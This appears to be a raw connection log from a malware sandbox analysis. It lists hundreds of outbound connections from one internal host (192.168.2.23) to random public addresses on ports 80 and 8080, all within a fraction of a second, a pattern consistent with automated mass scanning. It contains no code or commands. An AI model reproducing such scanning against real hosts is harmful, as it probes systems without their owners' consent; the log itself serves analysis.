Mar 2, 2024 12:36:51.806624889 CET	49158	8080	192.168.2.23	172.159.229.184
Mar 2, 2024 12:36:51.806624889 CET	49158	8080	192.168.2.23	98.226.105.124
Mar 2, 2024 12:36:51.806628942 CET	49158	8080	192.168.2.23	98.109.41.127
Mar 2, 2024 12:36:51.806628942 CET	52742	80	192.168.2.23	200.99.242.40
Mar 2, 2024 12:36:51.806628942 CET	49158	8080	192.168.2.23	98.63.162.234
Mar 2, 2024 12:36:51.806634903 CET	49158	8080	192.168.2.23	184.130.155.202
Mar 2, 2024 12:36:51.806636095 CET	49158	8080	192.168.2.23	172.7.183.69
Mar 2, 2024 12:36:51.806636095 CET	52742	80	192.168.2.23	86.206.118.78
Mar 2, 2024 12:36:51.806636095 CET	49158	8080	192.168.2.23	184.214.21.77
Mar 2, 2024 12:36:51.806637049 CET	49158	8080	192.168.2.23	172.95.187.125
Mar 2, 2024 12:36:51.806636095 CET	52742	80	192.168.2.23	200.207.144.216
Mar 2, 2024 12:36:51.806636095 CET	49158	8080	192.168.2.23	184.210.131.32
Mar 2, 2024 12:36:51.806638002 CET	52742	80	192.168.2.23	169.46.164.45
Mar 2, 2024 12:36:51.806638002 CET	49158	8080	192.168.2.23	98.251.104.73
Mar 2, 2024 12:36:51.806648970 CET	49158	8080	192.168.2.23	172.8.241.188
Mar 2, 2024 12:36:51.806648970 CET	52742	80	192.168.2.23	169.70.105.146
Mar 2, 2024 12:36:51.806648970 CET	49158	8080	192.168.2.23	184.111.22.109
Mar 2, 2024 12:36:51.806649923 CET	52742	80	192.168.2.23	200.133.138.22
Mar 2, 2024 12:36:51.806649923 CET	49158	8080	192.168.2.23	98.73.10.15
Mar 2, 2024 12:36:51.806649923 CET	52742	80	192.168.2.23	206.14.67.222
Mar 2, 2024 12:36:51.806649923 CET	49158	8080	192.168.2.23	184.126.203.209
Mar 2, 2024 12:36:51.806649923 CET	52742	80	192.168.2.23	169.83.24.144
Mar 2, 2024 12:36:51.806653023 CET	52742	80	192.168.2.23	181.205.254.225
Mar 2, 2024 12:36:51.806653023 CET	52742	80	192.168.2.23	86.30.9.17
Mar 2, 2024 12:36:51.806653023 CET	52742	80	192.168.2.23	82.26.82.69
Mar 2, 2024 12:36:51.806658983 CET	49158	8080	192.168.2.23	172.133.34.213
Mar 2, 2024 12:36:51.806663990 CET	52742	80	192.168.2.23	200.157.40.252
Mar 2, 2024 12:36:51.806663990 CET	52742	80	192.168.2.23	213.56.133.86
Mar 2, 2024 12:36:51.806663990 CET	52742	80	192.168.2.23	169.5.12.15
Mar 2, 2024 12:36:51.806663990 CET	52742	80	192.168.2.23	181.72.235.162
Mar 2, 2024 12:36:51.806665897 CET	49158	8080	192.168.2.23	172.77.57.37
Mar 2, 2024 12:36:51.806665897 CET	52742	80	192.168.2.23	80.179.111.244
Mar 2, 2024 12:36:51.806665897 CET	49158	8080	192.168.2.23	184.198.101.158
Mar 2, 2024 12:36:51.806663990 CET	52742	80	192.168.2.23	200.84.108.6
Mar 2, 2024 12:36:51.806665897 CET	52742	80	192.168.2.23	86.211.152.11
Mar 2, 2024 12:36:51.806663990 CET	49158	8080	192.168.2.23	98.92.36.226
Mar 2, 2024 12:36:51.806665897 CET	52742	80	192.168.2.23	213.130.226.67
Mar 2, 2024 12:36:51.806663990 CET	52742	80	192.168.2.23	80.64.237.62
Mar 2, 2024 12:36:51.806673050 CET	49158	8080	192.168.2.23	184.221.97.53
Mar 2, 2024 12:36:51.806673050 CET	52742	80	192.168.2.23	178.247.252.213
Mar 2, 2024 12:36:51.806673050 CET	52742	80	192.168.2.23	169.53.215.63
Mar 2, 2024 12:36:51.806675911 CET	52742	80	192.168.2.23	86.136.6.207
Mar 2, 2024 12:36:51.806688070 CET	52742	80	192.168.2.23	200.17.40.53
Mar 2, 2024 12:36:51.806694031 CET	52742	80	192.168.2.23	83.180.48.97
Mar 2, 2024 12:36:51.806694031 CET	49158	8080	192.168.2.23	98.195.166.168
Mar 2, 2024 12:36:51.806694031 CET	49158	8080	192.168.2.23	98.248.24.226
Mar 2, 2024 12:36:51.806699991 CET	52742	80	192.168.2.23	169.136.143.23
Mar 2, 2024 12:36:51.806710005 CET	49158	8080	192.168.2.23	172.128.66.191
Mar 2, 2024 12:36:51.806710005 CET	49158	8080	192.168.2.23	172.23.191.195
Mar 2, 2024 12:36:51.806715965 CET	49158	8080	192.168.2.23	172.166.172.63
Mar 2, 2024 12:36:51.806715965 CET	52742	80	192.168.2.23	83.237.255.242
Mar 2, 2024 12:36:51.806718111 CET	52742	80	192.168.2.23	206.193.93.37
Mar 2, 2024 12:36:51.806718111 CET	52742	80	192.168.2.23	213.143.25.52
Mar 2, 2024 12:36:51.806720018 CET	52742	80	192.168.2.23	86.121.18.117
Mar 2, 2024 12:36:51.806720018 CET	49158	8080	192.168.2.23	172.123.224.95
Mar 2, 2024 12:36:51.806720018 CET	49158	8080	192.168.2.23	98.52.255.213
Mar 2, 2024 12:36:51.806721926 CET	52742	80	192.168.2.23	206.233.200.119
Mar 2, 2024 12:36:51.806720018 CET	52742	80	192.168.2.23	206.198.29.69
Mar 2, 2024 12:36:51.806721926 CET	49158	8080	192.168.2.23	184.124.221.145
Mar 2, 2024 12:36:51.806721926 CET	49158	8080	192.168.2.23	98.16.63.244
Mar 2, 2024 12:36:51.806725979 CET	49158	8080	192.168.2.23	184.195.35.18
Mar 2, 2024 12:36:51.806732893 CET	52742	80	192.168.2.23	181.216.245.44
Mar 2, 2024 12:36:51.806737900 CET	49158	8080	192.168.2.23	98.244.70.88
Mar 2, 2024 12:36:51.806742907 CET	49158	8080	192.168.2.23	172.4.180.39
Mar 2, 2024 12:36:51.806742907 CET	52742	80	192.168.2.23	82.193.128.47
Mar 2, 2024 12:36:51.806742907 CET	52742	80	192.168.2.23	169.5.98.185
Mar 2, 2024 12:36:51.806749105 CET	52742	80	192.168.2.23	169.135.108.187
Mar 2, 2024 12:36:51.806750059 CET	52742	80	192.168.2.23	200.65.114.130
Mar 2, 2024 12:36:51.806751013 CET	49158	8080	192.168.2.23	184.47.243.78
Mar 2, 2024 12:36:51.806750059 CET	49158	8080	192.168.2.23	184.2.52.86
Mar 2, 2024 12:36:51.806751013 CET	52742	80	192.168.2.23	213.216.133.129
Mar 2, 2024 12:36:51.806751013 CET	52742	80	192.168.2.23	200.130.21.34
Mar 2, 2024 12:36:51.806755066 CET	49158	8080	192.168.2.23	172.98.217.72
Mar 2, 2024 12:36:51.806757927 CET	49158	8080	192.168.2.23	98.172.78.53
Mar 2, 2024 12:36:51.806759119 CET	49158	8080	192.168.2.23	184.65.221.199
Mar 2, 2024 12:36:51.806757927 CET	52742	80	192.168.2.23	80.31.181.232
Mar 2, 2024 12:36:51.806759119 CET	52742	80	192.168.2.23	181.50.36.185
Mar 2, 2024 12:36:51.806757927 CET	52742	80	192.168.2.23	178.231.144.194
Mar 2, 2024 12:36:51.806759119 CET	49158	8080	192.168.2.23	98.111.37.231
Mar 2, 2024 12:36:51.806757927 CET	52742	80	192.168.2.23	82.176.37.182
Mar 2, 2024 12:36:51.806759119 CET	52742	80	192.168.2.23	181.185.186.51
Mar 2, 2024 12:36:51.806757927 CET	49158	8080	192.168.2.23	172.204.245.37
Mar 2, 2024 12:36:51.806759119 CET	52742	80	192.168.2.23	169.164.45.15
Mar 2, 2024 12:36:51.806757927 CET	52742	80	192.168.2.23	200.139.110.159
Mar 2, 2024 12:36:51.806757927 CET	52742	80	192.168.2.23	181.250.57.149
Mar 2, 2024 12:36:51.806765079 CET	49158	8080	192.168.2.23	98.249.216.29
Mar 2, 2024 12:36:51.806765079 CET	52742	80	192.168.2.23	83.135.81.161
Mar 2, 2024 12:36:51.806770086 CET	52742	80	192.168.2.23	206.148.219.183
Mar 2, 2024 12:36:51.806771040 CET	52742	80	192.168.2.23	206.89.89.244
Mar 2, 2024 12:36:51.806790113 CET	49158	8080	192.168.2.23	184.98.8.105
Mar 2, 2024 12:36:51.806790113 CET	49158	8080	192.168.2.23	184.54.95.158
Mar 2, 2024 12:36:51.806790113 CET	52742	80	192.168.2.23	181.30.105.233
Mar 2, 2024 12:36:51.806790113 CET	52742	80	192.168.2.23	82.88.170.15
Mar 2, 2024 12:36:51.806792974 CET	52742	80	192.168.2.23	83.98.1.164
Mar 2, 2024 12:36:51.806792974 CET	52742	80	192.168.2.23	178.89.218.45
Mar 2, 2024 12:36:51.806797981 CET	49158	8080	192.168.2.23	184.197.192.51
Mar 2, 2024 12:36:51.806797981 CET	49158	8080	192.168.2.23	184.38.239.7
Mar 2, 2024 12:36:51.806797981 CET	49158	8080	192.168.2.23	172.23.154.113
Mar 2, 2024 12:36:51.806809902 CET	52742	80	192.168.2.23	178.92.14.33
Mar 2, 2024 12:36:51.806814909 CET	49158	8080	192.168.2.23	184.240.142.7
Mar 2, 2024 12:36:51.806816101 CET	49158	8080	192.168.2.23	172.33.92.127
Mar 2, 2024 12:36:51.806816101 CET	52742	80	192.168.2.23	206.213.103.248
Mar 2, 2024 12:36:51.806818008 CET	49158	8080	192.168.2.23	98.51.55.197
Mar 2, 2024 12:36:51.806818962 CET	49158	8080	192.168.2.23	184.177.57.158
Mar 2, 2024 12:36:51.806818962 CET	49158	8080	192.168.2.23	184.25.172.145
Mar 2, 2024 12:36:51.806819916 CET	52742	80	192.168.2.23	181.115.55.2
Mar 2, 2024 12:36:51.806818962 CET	49158	8080	192.168.2.23	98.155.78.185
Mar 2, 2024 12:36:51.806819916 CET	52742	80	192.168.2.23	82.37.248.162
Mar 2, 2024 12:36:51.806824923 CET	49158	8080	192.168.2.23	98.200.59.148
Mar 2, 2024 12:36:51.806824923 CET	49158	8080	192.168.2.23	184.90.28.147
Mar 2, 2024 12:36:51.806824923 CET	52742	80	192.168.2.23	178.102.143.213
Mar 2, 2024 12:36:51.806824923 CET	52742	80	192.168.2.23	178.29.45.207
Mar 2, 2024 12:36:51.806824923 CET	52742	80	192.168.2.23	181.37.176.111
Mar 2, 2024 12:36:51.806827068 CET	49158	8080	192.168.2.23	172.63.227.47
Mar 2, 2024 12:36:51.806824923 CET	52742	80	192.168.2.23	181.199.51.71
Mar 2, 2024 12:36:51.806826115 CET	49158	8080	192.168.2.23	184.243.17.33
Mar 2, 2024 12:36:51.806829929 CET	49158	8080	192.168.2.23	184.17.51.83
Mar 2, 2024 12:36:51.806829929 CET	52742	80	192.168.2.23	82.253.152.254
Mar 2, 2024 12:36:51.806837082 CET	49158	8080	192.168.2.23	98.215.186.242
Mar 2, 2024 12:36:51.806837082 CET	49158	8080	192.168.2.23	98.142.244.233
Mar 2, 2024 12:36:51.806837082 CET	49158	8080	192.168.2.23	172.100.167.90
Mar 2, 2024 12:36:51.806837082 CET	52742	80	192.168.2.23	169.236.131.116
Mar 2, 2024 12:36:51.806842089 CET	52742	80	192.168.2.23	213.245.121.237
Mar 2, 2024 12:36:51.806842089 CET	52742	80	192.168.2.23	80.181.204.129
Mar 2, 2024 12:36:51.806842089 CET	49158	8080	192.168.2.23	184.81.24.70
Mar 2, 2024 12:36:51.806842089 CET	49158	8080	192.168.2.23	172.186.235.25
Mar 2, 2024 12:36:51.806842089 CET	49158	8080	192.168.2.23	98.219.209.182
Mar 2, 2024 12:36:51.806848049 CET	49158	8080	192.168.2.23	184.156.69.33
Mar 2, 2024 12:36:51.806854963 CET	49158	8080	192.168.2.23	172.157.243.106
Mar 2, 2024 12:36:51.806854963 CET	52742	80	192.168.2.23	206.173.142.250
Mar 2, 2024 12:36:51.806854963 CET	52742	80	192.168.2.23	181.153.133.206
Mar 2, 2024 12:36:51.806863070 CET	52742	80	192.168.2.23	82.36.33.98
Mar 2, 2024 12:36:51.806863070 CET	49158	8080	192.168.2.23	172.122.29.175
Mar 2, 2024 12:36:51.806863070 CET	49158	8080	192.168.2.23	172.98.166.117
Mar 2, 2024 12:36:51.806863070 CET	49158	8080	192.168.2.23	172.56.227.150
Mar 2, 2024 12:36:51.806863070 CET	49158	8080	192.168.2.23	184.135.18.184
Mar 2, 2024 12:36:51.806866884 CET	52742	80	192.168.2.23	213.78.165.20
Mar 2, 2024 12:36:51.806866884 CET	52742	80	192.168.2.23	80.27.151.255
Mar 2, 2024 12:36:51.806866884 CET	49158	8080	192.168.2.23	98.226.76.149
Mar 2, 2024 12:36:51.806869984 CET	52742	80	192.168.2.23	83.56.39.46
Mar 2, 2024 12:36:51.806869984 CET	52742	80	192.168.2.23	82.233.218.232
Mar 2, 2024 12:36:51.806871891 CET	52742	80	192.168.2.23	206.212.13.118
Mar 2, 2024 12:36:51.806871891 CET	52742	80	192.168.2.23	82.84.46.81
Mar 2, 2024 12:36:51.806871891 CET	52742	80	192.168.2.23	82.29.146.254
Mar 2, 2024 12:36:51.806871891 CET	49158	8080	192.168.2.23	184.147.68.250
Mar 2, 2024 12:36:51.806873083 CET	52742	80	192.168.2.23	169.39.216.81
Mar 2, 2024 12:36:51.806873083 CET	49158	8080	192.168.2.23	172.148.61.108
Mar 2, 2024 12:36:51.806874990 CET	52742	80	192.168.2.23	178.214.158.64
Mar 2, 2024 12:36:51.806874990 CET	49158	8080	192.168.2.23	184.157.198.206
Mar 2, 2024 12:36:51.806874990 CET	49158	8080	192.168.2.23	172.91.68.173
Mar 2, 2024 12:36:51.806883097 CET	52742	80	192.168.2.23	178.117.244.191
Mar 2, 2024 12:36:51.806884050 CET	52742	80	192.168.2.23	206.28.140.112
Mar 2, 2024 12:36:51.806884050 CET	49158	8080	192.168.2.23	184.27.69.208
Mar 2, 2024 12:36:51.806883097 CET	49158	8080	192.168.2.23	184.122.195.19
Mar 2, 2024 12:36:51.806883097 CET	49158	8080	192.168.2.23	172.153.8.54
Mar 2, 2024 12:36:51.806890011 CET	49158	8080	192.168.2.23	172.54.139.239
Mar 2, 2024 12:36:51.806890011 CET	49158	8080	192.168.2.23	172.148.28.65
Mar 2, 2024 12:36:51.806890011 CET	49158	8080	192.168.2.23	172.134.170.138
Mar 2, 2024 12:36:51.806899071 CET	49158	8080	192.168.2.23	98.154.119.30
Mar 2, 2024 12:36:51.806907892 CET	49158	8080	192.168.2.23	184.207.198.78
Mar 2, 2024 12:36:51.806907892 CET	49158	8080	192.168.2.23	184.84.106.155
Mar 2, 2024 12:36:51.806907892 CET	49158	8080	192.168.2.23	172.165.69.199
Mar 2, 2024 12:36:51.806910992 CET	49158	8080	192.168.2.23	184.80.132.86
Mar 2, 2024 12:36:51.806910992 CET	49158	8080	192.168.2.23	172.181.10.72
Mar 2, 2024 12:36:51.806910992 CET	49158	8080	192.168.2.23	98.131.209.46
Mar 2, 2024 12:36:51.806915045 CET	52742	80	192.168.2.23	178.158.160.190
Mar 2, 2024 12:36:51.806921005 CET	49158	8080	192.168.2.23	172.165.151.158
Mar 2, 2024 12:36:51.806921005 CET	52742	80	192.168.2.23	206.59.83.104
Mar 2, 2024 12:36:51.806921005 CET	52742	80	192.168.2.23	86.46.53.212
Mar 2, 2024 12:36:51.806921005 CET	52742	80	192.168.2.23	178.109.227.213
Mar 2, 2024 12:36:51.806921005 CET	49158	8080	192.168.2.23	98.238.232.159
Mar 2, 2024 12:36:51.806921005 CET	49158	8080	192.168.2.23	98.204.213.88
Mar 2, 2024 12:36:51.806926966 CET	52742	80	192.168.2.23	181.66.100.69
Mar 2, 2024 12:36:51.806934118 CET	52742	80	192.168.2.23	86.189.88.236
Mar 2, 2024 12:36:51.806936026 CET	49158	8080	192.168.2.23	184.121.57.171
Mar 2, 2024 12:36:51.806936026 CET	52742	80	192.168.2.23	181.144.92.222
Mar 2, 2024 12:36:51.806936026 CET	52742	80	192.168.2.23	80.113.10.254
Mar 2, 2024 12:36:51.806938887 CET	52742	80	192.168.2.23	86.233.138.189
Mar 2, 2024 12:36:51.806938887 CET	52742	80	192.168.2.23	80.118.138.9
Mar 2, 2024 12:36:51.806946039 CET	52742	80	192.168.2.23	213.32.37.224
Mar 2, 2024 12:36:51.806946039 CET	49158	8080	192.168.2.23	172.205.16.7
Mar 2, 2024 12:36:51.806946039 CET	52742	80	192.168.2.23	80.170.148.223
Mar 2, 2024 12:36:51.806946039 CET	49158	8080	192.168.2.23	172.215.19.65
Mar 2, 2024 12:36:51.806947947 CET	52742	80	192.168.2.23	86.148.158.12
Mar 2, 2024 12:36:51.806948900 CET	49158	8080	192.168.2.23	172.125.58.243
Mar 2, 2024 12:36:51.806948900 CET	49158	8080	192.168.2.23	184.204.27.81
Mar 2, 2024 12:36:51.806946039 CET	52742	80	192.168.2.23	80.80.144.34
Mar 2, 2024 12:36:51.806955099 CET	52742	80	192.168.2.23	181.166.144.252
Mar 2, 2024 12:36:51.806957960 CET	52742	80	192.168.2.23	181.91.151.109
Mar 2, 2024 12:36:51.806957960 CET	52742	80	192.168.2.23	206.97.32.128
Mar 2, 2024 12:36:51.806957960 CET	49158	8080	192.168.2.23	184.222.100.197
Mar 2, 2024 12:36:51.806957960 CET	49158	8080	192.168.2.23	172.54.241.202
Mar 2, 2024 12:36:51.806957960 CET	49158	8080	192.168.2.23	172.60.222.121
Mar 2, 2024 12:36:51.806957960 CET	49158	8080	192.168.2.23	98.59.219.77
Mar 2, 2024 12:36:51.806957960 CET	49158	8080	192.168.2.23	98.87.23.139
Mar 2, 2024 12:36:51.806957960 CET	52742	80	192.168.2.23	213.74.59.145
Mar 2, 2024 12:36:51.806961060 CET	52742	80	192.168.2.23	80.60.171.217
Mar 2, 2024 12:36:51.806973934 CET	52742	80	192.168.2.23	169.22.177.172
Mar 2, 2024 12:36:51.806982040 CET	52742	80	192.168.2.23	169.253.249.102
Mar 2, 2024 12:36:51.806988001 CET	52742	80	192.168.2.23	169.62.109.73
Mar 2, 2024 12:36:51.806988001 CET	49158	8080	192.168.2.23	184.246.199.27
Mar 2, 2024 12:36:51.806988001 CET	49158	8080	192.168.2.23	184.214.80.225
Mar 2, 2024 12:36:51.806988001 CET	52742	80	192.168.2.23	181.167.7.8
Mar 2, 2024 12:36:51.806988001 CET	52742	80	192.168.2.23	83.236.91.66
Mar 2, 2024 12:36:51.806988001 CET	49158	8080	192.168.2.23	184.144.195.177
Mar 2, 2024 12:36:51.806988001 CET	49158	8080	192.168.2.23	172.139.218.241
Mar 2, 2024 12:36:51.806996107 CET	52742	80	192.168.2.23	80.219.62.150
Mar 2, 2024 12:36:51.806997061 CET	52742	80	192.168.2.23	80.159.233.212
Mar 2, 2024 12:36:51.806996107 CET	52742	80	192.168.2.23	181.227.25.101
Mar 2, 2024 12:36:51.806997061 CET	52742	80	192.168.2.23	213.248.171.55
Mar 2, 2024 12:36:51.806997061 CET	49158	8080	192.168.2.23	172.209.247.96
Mar 2, 2024 12:36:51.806997061 CET	49158	8080	192.168.2.23	98.8.105.86
Mar 2, 2024 12:36:51.806997061 CET	49158	8080	192.168.2.23	98.50.45.93
Mar 2, 2024 12:36:51.806997061 CET	49158	8080	192.168.2.23	184.245.141.157
Mar 2, 2024 12:36:51.806997061 CET	49158	8080	192.168.2.23	98.21.156.169
Mar 2, 2024 12:36:51.806999922 CET	52742	80	192.168.2.23	82.162.130.140
Mar 2, 2024 12:36:51.807013035 CET	49158	8080	192.168.2.23	184.144.168.182
Mar 2, 2024 12:36:51.807027102 CET	49158	8080	192.168.2.23	184.40.159.201
Mar 2, 2024 12:36:51.807027102 CET	52742	80	192.168.2.23	82.128.240.185
Mar 2, 2024 12:36:51.807029009 CET	49158	8080	192.168.2.23	184.201.86.43
Mar 2, 2024 12:36:51.807032108 CET	49158	8080	192.168.2.23	98.104.95.92
Mar 2, 2024 12:36:51.807037115 CET	49158	8080	192.168.2.23	184.117.247.12
Mar 2, 2024 12:36:51.807037115 CET	52742	80	192.168.2.23	80.170.226.224
Mar 2, 2024 12:36:51.807038069 CET	49158	8080	192.168.2.23	172.134.130.47
Mar 2, 2024 12:36:51.807037115 CET	52742	80	192.168.2.23	200.160.44.177
Mar 2, 2024 12:36:51.807041883 CET	49158	8080	192.168.2.23	98.229.16.146
Mar 2, 2024 12:36:51.807038069 CET	52742	80	192.168.2.23	83.231.155.155
Mar 2, 2024 12:36:51.807037115 CET	49158	8080	192.168.2.23	172.252.76.64
Mar 2, 2024 12:36:51.807039976 CET	49158	8080	192.168.2.23	172.83.12.238
Mar 2, 2024 12:36:51.807037115 CET	52742	80	192.168.2.23	213.103.7.33
Mar 2, 2024 12:36:51.807041883 CET	49158	8080	192.168.2.23	172.224.39.220
Mar 2, 2024 12:36:51.807039022 CET	49158	8080	192.168.2.23	172.52.5.138
Mar 2, 2024 12:36:51.807045937 CET	52742	80	192.168.2.23	200.200.72.34
Mar 2, 2024 12:36:51.807039022 CET	49158	8080	192.168.2.23	172.76.3.21
Mar 2, 2024 12:36:51.807041883 CET	52742	80	192.168.2.23	80.16.227.227
Mar 2, 2024 12:36:51.807039022 CET	52742	80	192.168.2.23	86.67.78.139
Mar 2, 2024 12:36:51.807041883 CET	52742	80	192.168.2.23	169.24.146.5
Mar 2, 2024 12:36:51.807045937 CET	49158	8080	192.168.2.23	172.191.109.73
Mar 2, 2024 12:36:51.807041883 CET	52742	80	192.168.2.23	86.224.28.122
Mar 2, 2024 12:36:51.807070971 CET	52742	80	192.168.2.23	206.128.255.184
Mar 2, 2024 12:36:51.807070971 CET	49158	8080	192.168.2.23	184.76.177.181
Mar 2, 2024 12:36:51.807070971 CET	52742	80	192.168.2.23	200.79.187.60
Mar 2, 2024 12:36:51.807070971 CET	52742	80	192.168.2.23	206.126.206.1
Mar 2, 2024 12:36:51.807070971 CET	52742	80	192.168.2.23	169.146.206.177
Mar 2, 2024 12:36:51.807071924 CET	52742	80	192.168.2.23	82.221.83.254
Mar 2, 2024 12:36:51.807074070 CET	52742	80	192.168.2.23	169.162.158.246
Mar 2, 2024 12:36:51.807074070 CET	52742	80	192.168.2.23	213.13.131.237
Mar 2, 2024 12:36:51.807075024 CET	49158	8080	192.168.2.23	172.223.11.68
Mar 2, 2024 12:36:51.807075024 CET	52742	80	192.168.2.23	181.145.107.192
Mar 2, 2024 12:36:51.807075024 CET	49158	8080	192.168.2.23	184.200.132.238
Mar 2, 2024 12:36:51.807079077 CET	49158	8080	192.168.2.23	98.2.120.148
Mar 2, 2024 12:36:51.807079077 CET	52742	80	192.168.2.23	200.84.53.224
Mar 2, 2024 12:36:51.807079077 CET	52742	80	192.168.2.23	80.237.219.156
Mar 2, 2024 12:36:51.807081938 CET	52742	80	192.168.2.23	82.244.239.54
Mar 2, 2024 12:36:51.807081938 CET	49158	8080	192.168.2.23	184.136.63.126
Mar 2, 2024 12:36:51.807081938 CET	52742	80	192.168.2.23	178.46.13.80
Mar 2, 2024 12:36:51.807081938 CET	52742	80	192.168.2.23	80.200.253.13
Mar 2, 2024 12:36:51.807104111 CET	52742	80	192.168.2.23	200.7.133.149
Mar 2, 2024 12:36:51.807104111 CET	49158	8080	192.168.2.23	98.92.86.142
Mar 2, 2024 12:36:51.807105064 CET	52742	80	192.168.2.23	83.49.145.236
Mar 2, 2024 12:36:51.807105064 CET	52742	80	192.168.2.23	80.78.187.196
Mar 2, 2024 12:36:51.807105064 CET	49158	8080	192.168.2.23	184.167.225.211
Mar 2, 2024 12:36:51.807105064 CET	52742	80	192.168.2.23	213.236.211.113
Mar 2, 2024 12:36:51.807105064 CET	52742	80	192.168.2.23	86.145.62.245
Mar 2, 2024 12:36:51.807105064 CET	52742	80	192.168.2.23	169.38.27.85
Mar 2, 2024 12:36:51.807111979 CET	52742	80	192.168.2.23	181.5.175.124
Mar 2, 2024 12:36:51.807111979 CET	52742	80	192.168.2.23	206.201.134.95
Mar 2, 2024 12:36:51.807111979 CET	49158	8080	192.168.2.23	98.255.143.223
Mar 2, 2024 12:36:51.807111979 CET	52742	80	192.168.2.23	181.240.207.11
Mar 2, 2024 12:36:51.807111979 CET	49158	8080	192.168.2.23	98.183.205.48
Mar 2, 2024 12:36:51.807111979 CET	52742	80	192.168.2.23	169.173.99.99
Mar 2, 2024 12:36:51.807111979 CET	49158	8080	192.168.2.23	184.233.172.78
Mar 2, 2024 12:36:51.807111979 CET	52742	80	192.168.2.23	181.174.46.160
Mar 2, 2024 12:36:51.807111979 CET	52742	80	192.168.2.23	206.77.189.61
Mar 2, 2024 12:36:51.807112932 CET	49158	8080	192.168.2.23	184.203.207.133
Mar 2, 2024 12:36:51.807112932 CET	52742	80	192.168.2.23	200.158.219.79
Mar 2, 2024 12:36:51.807122946 CET	49158	8080	192.168.2.23	98.54.95.63
Mar 2, 2024 12:36:51.807122946 CET	52742	80	192.168.2.23	200.160.145.105
Mar 2, 2024 12:36:51.807122946 CET	52742	80	192.168.2.23	83.201.68.242
Mar 2, 2024 12:36:51.807122946 CET	49158	8080	192.168.2.23	98.31.26.165
Mar 2, 2024 12:36:51.807122946 CET	52742	80	192.168.2.23	206.203.231.166
Mar 2, 2024 12:36:51.807123899 CET	49158	8080	192.168.2.23	172.143.17.167
Mar 2, 2024 12:36:51.807125092 CET	49158	8080	192.168.2.23	184.85.95.74
Mar 2, 2024 12:36:51.807123899 CET	52742	80	192.168.2.23	83.230.152.37
Mar 2, 2024 12:36:51.807125092 CET	49158	8080	192.168.2.23	184.94.5.173
Mar 2, 2024 12:36:51.807125092 CET	49158	8080	192.168.2.23	172.71.54.39
Mar 2, 2024 12:36:51.807123899 CET	49158	8080	192.168.2.23	184.224.81.122
Mar 2, 2024 12:36:51.807125092 CET	52742	80	192.168.2.23	178.215.8.246
Mar 2, 2024 12:36:51.807123899 CET	49158	8080	192.168.2.23	184.237.3.68
Mar 2, 2024 12:36:51.807125092 CET	49158	8080	192.168.2.23	184.63.253.25
Mar 2, 2024 12:36:51.807123899 CET	49158	8080	192.168.2.23	184.159.194.214
Mar 2, 2024 12:36:51.807125092 CET	49158	8080	192.168.2.23	184.65.126.223
Mar 2, 2024 12:36:51.807123899 CET	52742	80	192.168.2.23	82.216.235.246
Mar 2, 2024 12:36:51.807125092 CET	49158	8080	192.168.2.23	98.228.214.243
Mar 2, 2024 12:36:51.807123899 CET	52742	80	192.168.2.23	213.15.243.31
Mar 2, 2024 12:36:51.807125092 CET	49158	8080	192.168.2.23	184.201.227.124
Mar 2, 2024 12:36:51.807123899 CET	52742	80	192.168.2.23	178.62.192.57
Mar 2, 2024 12:36:51.807149887 CET	52742	80	192.168.2.23	206.114.97.19
Mar 2, 2024 12:36:51.807149887 CET	49158	8080	192.168.2.23	184.0.132.122
Mar 2, 2024 12:36:51.807149887 CET	49158	8080	192.168.2.23	184.107.165.121
Mar 2, 2024 12:36:51.807149887 CET	52742	80	192.168.2.23	200.242.91.60
Mar 2, 2024 12:36:51.807149887 CET	52742	80	192.168.2.23	181.208.123.60
Mar 2, 2024 12:36:51.807149887 CET	52742	80	192.168.2.23	200.26.2.214
Mar 2, 2024 12:36:51.807167053 CET	52742	80	192.168.2.23	178.150.248.167
Mar 2, 2024 12:36:51.807167053 CET	49158	8080	192.168.2.23	98.11.118.199
Mar 2, 2024 12:36:51.807167053 CET	52742	80	192.168.2.23	80.167.235.152
Mar 2, 2024 12:36:51.807167053 CET	49158	8080	192.168.2.23	184.120.31.177
Mar 2, 2024 12:36:51.807168007 CET	49158	8080	192.168.2.23	98.183.250.247
Mar 2, 2024 12:36:51.807168007 CET	49158	8080	192.168.2.23	184.61.37.75
Mar 2, 2024 12:36:51.807168007 CET	52742	80	192.168.2.23	178.196.110.100
Mar 2, 2024 12:36:51.807168007 CET	52742	80	192.168.2.23	206.38.90.97
Mar 2, 2024 12:36:51.807173967 CET	52742	80	192.168.2.23	213.75.17.109
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	172.225.67.155
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	172.200.252.223
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	184.197.196.9
Mar 2, 2024 12:36:51.807173967 CET	52742	80	192.168.2.23	83.62.111.113
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	98.10.178.211
Mar 2, 2024 12:36:51.807173967 CET	52742	80	192.168.2.23	86.86.119.92
Mar 2, 2024 12:36:51.807173967 CET	52742	80	192.168.2.23	86.135.129.253
Mar 2, 2024 12:36:51.807173967 CET	52742	80	192.168.2.23	181.116.225.212
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	98.201.203.133
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	98.83.174.70
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	172.62.77.228
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	184.107.68.104
Mar 2, 2024 12:36:51.807173967 CET	49158	8080	192.168.2.23	172.78.38.28
Mar 2, 2024 12:36:51.807173967 CET	52742	80	192.168.2.23	86.220.35.146
Mar 2, 2024 12:36:51.807188034 CET	49158	8080	192.168.2.23	172.53.156.151
Mar 2, 2024 12:36:51.807188034 CET	49158	8080	192.168.2.23	98.19.221.3
Mar 2, 2024 12:36:51.807188034 CET	52742	80	192.168.2.23	213.64.150.21
Mar 2, 2024 12:36:51.807188034 CET	49158	8080	192.168.2.23	184.57.41.72
Mar 2, 2024 12:36:51.807188034 CET	52742	80	192.168.2.23	213.147.89.144
Mar 2, 2024 12:36:51.807188034 CET	52742	80	192.168.2.23	80.104.160.76
Mar 2, 2024 12:36:51.807188034 CET	52742	80	192.168.2.23	83.211.122.11
Mar 2, 2024 12:36:51.807195902 CET	52742	80	192.168.2.23	82.221.193.142
Mar 2, 2024 12:36:51.807195902 CET	52742	80	192.168.2.23	181.81.155.115
Mar 2, 2024 12:36:51.807195902 CET	52742	80	192.168.2.23	169.34.69.54
Mar 2, 2024 12:36:51.807195902 CET	52742	80	192.168.2.23	169.152.169.103
